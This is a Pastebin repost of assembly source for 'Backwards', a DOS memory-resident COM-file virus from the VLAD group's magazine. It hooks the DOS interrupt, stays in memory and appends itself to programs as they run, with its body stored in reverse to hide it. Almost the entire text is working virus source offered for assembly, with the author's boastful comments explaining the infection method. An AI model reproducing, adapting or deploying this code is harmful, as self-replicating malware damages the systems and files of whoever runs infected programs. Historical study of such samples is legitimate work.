Advertisement
FlyFar

VLAD Magazine - Issue #6 - ARTICLE.5_5 - Backwards TSR COM Infector Source Code

Aug 12th, 2023
1,819
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 7.86 KB | Cybersecurity | 0 0
  1. ;
  2. ; Backwards by Quantum / VLAD.
  3. ;
  4. ; w00p.. this is a standard TSR com infector.  Now before you start
  5. ; screaming that I should go code for YAM with **** like this, I would
  6. ; like to point out that this virus uses a unique infection method that
  7. ; reverses the code.
  8. ;
  9. ; By pushing everything onto the stack, it reverses the code, that is stored
  10. ; backwards, and executes it.  The loader is 16 bytes long and the original
  11. ; 16 bytes of the file are stored in the virus code.
  12. ;
  13.  
  14.  
  15. mov si,offset c
  16. xor sp,sp
  17. mov cx,(offset cend - offset c)/2
  18. loop1:
  19. lodsw
  20. xchg ah,al
  21. push ax
  22. loop loop1
  23. jmp sp
  24.  
  25. ; rest of the host goes here
  26. int 20h
  27. ; virus code goes here .. note: this code is stored backwards!
  28. ; I suggest you go to the end of the code and read backwards.
  29. c:
  30.         db 16 dup (90h)    ; will always be at FFF0h
  31. org16bytes:
  32. db 0e4h,0ffh                  ; jmp sp
  33. db $ - offset loaderloop
  34. db 0e2h                       ; loop loaderloop
  35. db 50h                        ; push ax
  36. db 0e0, 86h                   ; xchg ah,al
  37. db 0adh                       ; lodsw
  38. loaderloop:
  39. db ((offset cend - offset c)/2)/256
  40. db ((offset cend - offset c)/2) and 255
  41. db 0b9h                       ; mov cx,(offset cend - offset c)/2
  42. db 0e4h,31h                   ; xor sp,sp
  43. db 0,0
  44. wherecodeat:
  45. db 0beh                       ; mov si,where the code is at
  46. loader:
  47. db "BACKWARDS by Quantum / VLAD"
  48.         db $ - offset goold
  49.         db 0ebh               ; jmp goold
  50.         db 58h                ; pop ax
  51.         db 5bh                ; pop bx
  52.         db 59h                ; pop cx
  53.         db 5ah                ; pop dx
  54.         db 5eh                ; pop si
  55.         db 5fh                ; pop di
  56.         db 1fh                ; pop ds
  57.         db 07h                ; pop es
  58.         db 21h, 0cdh          ; int 21h
  59.         db 3eh, 0b4h          ; mov ah,3eh
  60. closefile:
  61.         db 21h, 0cdh          ; int 21h
  62.         db (offset cend - offset loader)/ 256
  63.         db (offset cend - offset loader) and 255
  64.         db 0bah               ; mov dx,(offset cend - offset loader)
  65.         db 1fh                ; pop ds
  66.         db 0eh                ; push cs
  67.         db 0, 10h, 0b9h       ; mov cx,16
  68.         db 40h, 0b4h          ; mov ah,40h
  69.         db 21h, 0cdh          ; int 21h
  70.         db 0d2h, 031h         ; xor dx,dx
  71.         db 0c9h, 031h         ; xor cx,cx
  72.         db 42h,0, 0b8h        ; mov ax,4200h
  73.         db 21h, 0cdh          ; int 21h
  74.         db (offset cend - offset c) / 256
  75.         db (offset cend - offset c) and 255
  76.         db 0b9h               ; mov cx,(offset cend - offset c)
  77.         db 40h, 0b4h          ; mov ah,40h
  78.         db 0fah
  79.         db 0e2h               ; loop
  80.         db 0aah               ; stosb
  81.         db 0fdh               ; std
  82.         db 0ach               ; lodsb
  83.         db 0fch               ; cld
  84.         db 0ffh,0ffh,0beh     ; mov si,-1
  85.         db 0cah, 89h          ; mov dx,cx
  86.         db (offset cend - offset c)/256
  87.         db (offset cend - offset c) and 255
  88.         db 0b9h               ; mov cx,(offset cend - offset c)
  89.         db ((offset cend - offset c)*2)/256
  90.         db ((offset cend - offset c)*2) and 255
  91.         db 0bfh               ; mov di,(offset cend - offset c)*2-1
  92.         db (offset cend - offset wherecodeat)/256
  93.         db (offset cend - offset wherecodeat) and 255
  94.         db 0a3h               ; mov [offset cend - offset wherecodeat],ax
  95.         db 01h,0,5h           ; add ax,0100h
  96.         db 21h, 0cdh          ; int 21h
  97.         db 0d2h, 031h         ; xor dx,dx
  98.         db 0c9h, 031h         ; xor cx,cx
  99.         db 42h, 02h, 0b8h     ; mov ax,4202h
  100.         db $ - offset closefile
  101.         db 74h                ; jz closefile
  102.         db 0beh
  103.         db (offset cend - offset org16bytes) / 256
  104.         db (offset cend - offset org16bytes) and 255
  105.         db 3eh, 80h  ; cmp byte ptr [offset cend - offset org14bytes],0beh
  106.         db $ - offset closefile
  107.         db 74h                ; jz closefile
  108.         db "M","Z"
  109.         db (offset cend - offset org16bytes) / 256
  110.         db (offset cend - offset org16bytes) and 255
  111.         db 3eh, 81h           ; cmp word ptr [offset cend - offset org16bytes],"ZM"
  112.         db 21h , 0cdh         ; int 21h
  113.         db (offset cend - offset org16bytes)/256
  114.         db (offset cend - offset org16bytes) and 255
  115.         db 0bah               ; mov dx,offset cend - offset org16bytes
  116.         db 0, 10h, 0b9h       ; mov cx,16
  117.         db 3fh, 0b4h          ; mov ah,3fh
  118.         db 07h                ; pop es
  119.         db 1fh                ; pop ds
  120.         db 0eh                ; push cs
  121.         db 0eh                ; push cs
  122.         db 93h                ; xchg bx,ax
  123.         db 21h, 0cdh          ; int 21h
  124.         db 3dh,02h,0b8h       ; mov ax,3d02h
  125.         db 06h                ; push es
  126.         db 1eh                ; push ds
  127.         db 57h                ; push di
  128.         db 56h                ; push si
  129.         db 52h                ; push dx
  130.         db 51h                ; push cx
  131.         db 53h                ; push bx
  132.         db 50h                ; push ax
  133. executing:
  134.         db 0,0,0,0
  135. oldi21:
  136.         db 0eah
  137. goold:
  138.  
  139.         db 5 ; $ - offset executing
  140.         db 74h                ; jz executing
  141.         db 4bh,0fch,80h       ; cmp ah,4bh
  142. notserv:
  143.         db 0cfh               ; iret
  144.         db $ - offset notserv
  145.         db 75h                ; jnz notserv
  146.         db 18h,18h,03dh       ; cmp ax,1818h
  147. newi21:
  148. db 0e7h, 0ffh                 ; jmp di
  149. db (offset cend - offset c)/256
  150. db (offset cend - offset c) and 255
  151. db 0c4h, 81h                  ; add sp,(offset cend - offset c)
  152. db 5fh                        ; pop di
  153. db 0a5h, 0f3h                 ; rep movsw
  154. db 0, 8, 0b9h                 ; mov cx,8
  155. db 57h                        ; push di
  156. db 1, 0, 0bfh                 ; mov di,0100h
  157. db 0ffh, 0f0h, 0beh           ; mov si,0fff0h
  158. db 07h                        ; pop es
  159. db 1fh                        ; pop ds
  160. db 0eh                        ; push cs
  161. db 0eh                        ; push cs
  162. back2host:
  163. db 0feh, 44h, 8ch             ; mov word ptr [si-2],es
  164. db (offset cend-offset newi21)/256
  165. db (offset cend-offset newi21) and 255
  166. db 0fch, 44h, 0c7h            ; mov word ptr [si-4],offset cend-offset newi21
  167. db 0a5h                       ; movsw
  168. db 0a5h                       ; movsw
  169. db (offset cend - offset oldi21)/256
  170. db (offset cend - offset oldi21) and 255
  171. db 0bfh                       ; mov di,offset cend - offset oldi21
  172. db 0, 84h, 0beh               ; mov si,84h
  173. db 0d9h, 8eh                  ; mov ds,cx
  174. db 0a5h, 0f3h                 ; rep movsw
  175. db (0 - (offset cend - offset c))/256
  176. db (0 - (offset cend - offset c)) and 255
  177. db 0beh                       ; mov si,0 - (offset cend - offset c)
  178. db ((offset cend - offset c)/2+1)/256
  179. db ((offset cend - offset c)/2+1) and 255
  180. db 0b9h                       ; mov cx,(offset cend - offset c)/2+1
  181. db 1fh                        ; pop ds
  182. db 0eh                        ; push cs
  183. db 0c0h, 08eh                 ; mov es,ax
  184. db 012h, 45h, 08bh            ; mov ax,[di+12h]
  185. db ((offset cend - offset c)/8+1)/256
  186. db ((offset cend - offset c)/8+1) and 255
  187. db 12h, 6dh, 81h              ; sub word ptr [di+12h],(offset cend-offset c)/16+1
  188. db ((offset cend - offset c)/8+1)/256
  189. db ((offset cend - offset c)/8+1) and 255
  190. db 3h, 6dh, 81h               ; sub word ptr [di+3h],(offset cend-offset c)/16+1
  191. db $ - offset back2host
  192. db 75h                        ; jnz back2host
  193. db "Z",03dh,80h               ; cmp byte ptr [di],"Z"
  194. db 0ffh, 031h                 ; xor di,di
  195. db 0d8h, 8eh                  ; mov ds,ax
  196. db 48h                        ; dec ax
  197. db 0c0h,8ch                   ; mov ax,es
  198. db $ - offset back2host
  199. db 75h                        ; jnz back2host
  200. db 0c0h,08h                   ; or al,al
  201. db 21h,0cdh                   ; int 21h
  202. db 18h,18h,0b8h               ; mov ax,1818h
  203.  
  204. cend:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement